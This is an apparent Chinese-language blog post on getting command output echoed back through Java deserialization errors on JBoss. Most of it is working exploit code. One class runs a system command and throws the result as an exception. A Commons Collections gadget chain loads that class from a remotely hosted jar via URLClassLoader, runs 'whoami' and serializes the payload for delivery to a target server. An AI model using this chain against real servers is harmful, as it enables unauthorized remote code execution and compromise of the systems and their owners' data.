反序列化報錯回顯
阿新 • • 發佈:2019-01-04
• 使用java.net.URLClassLoader類,遠端載入自定義類(放在自己伺服器上的jar包),可以自定義方法執行。
• 在自定義類中,丟擲異常,使其成功隨著Jboss報錯返回命令執行結果。
首先得通過程式碼執行將ErrorBaseExec寫到伺服器上。
package me.lightless.shiro; import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
第二步本地將ErrorBaseExec打jar包,並把jar包放到伺服器上
javac ErrorBaseExec.java //先編譯成class檔案
jar -cvf ErrorBaseExec.jar ErrorBaseExec.class //打成jar包
執行如下程式碼:
package me.lightless.shiro; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.util.HashMap; import java.util.Map; public class Test { public static void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, ClassNotFoundException { Transformer[] transformers = new Transformer[0]; try { transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer( "getConstructor", new Class[] {Class[].class}, new Object[] {new Class[]{java.net.URL[].class}} ), new InvokerTransformer( "newInstance", new Class[] {Object[].class}, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("http://127.0.0.1/ErrorBaseExec.jar") }}} ), new InvokerTransformer( "loadClass", new Class[] { String.class }, new Object[] { "me.lightless.shiro.ErrorBaseExec" } ), new InvokerTransformer( "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"do_exec", new Class[]{String.class}} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"whoami"}} ) }; } catch (MalformedURLException e) { e.printStackTrace(); } /* URLClassLoader.class.getConstructor(java.net.URL[].class). newInstance(new java.net.URL("url")).loadClass("remote_class"). getMethod("do_exec", String.class).invoke(null, "cmd"); */ Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //decorate例項化LazyMap類。 // LazyMap類的get方法呼叫了transform,transform可以通過反射機制執行命令 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中呼叫了toString方法->呼叫了map的get方法 BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的構造方法呼叫toString方法 // val是私有變數,所以利用下面方法進行賦值,val變數賦值為TiedMapEntry的例項化物件, // 重寫了BadAttributeValueExpException的readObject方法的val變數賦值為BadAttributeValueExpException類, // 就會呼叫BadAttributeValueExpException的val = valObj.toString();觸發上面的 Field valfield = poc.getClass().getDeclaredField("val"); // System.out.println(valfield); valfield.setAccessible(true); valfield.set(poc, entry); File f = new File("poc.txt"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(poc); out.close(); //從檔案中反序列化obj物件 FileInputStream fis = new FileInputStream("poc.txt"); ObjectInputStream ois = new ObjectInputStream(fis); //恢復物件 ois.readObject(); ois.close(); } }
通過異常,出現回顯,在利用的時候,找一個pop gaget writeObject,傳到伺服器進行反序列化。
參考連結:
http://blog.nsfocus.net/java-deserialization-vulnerability-comments/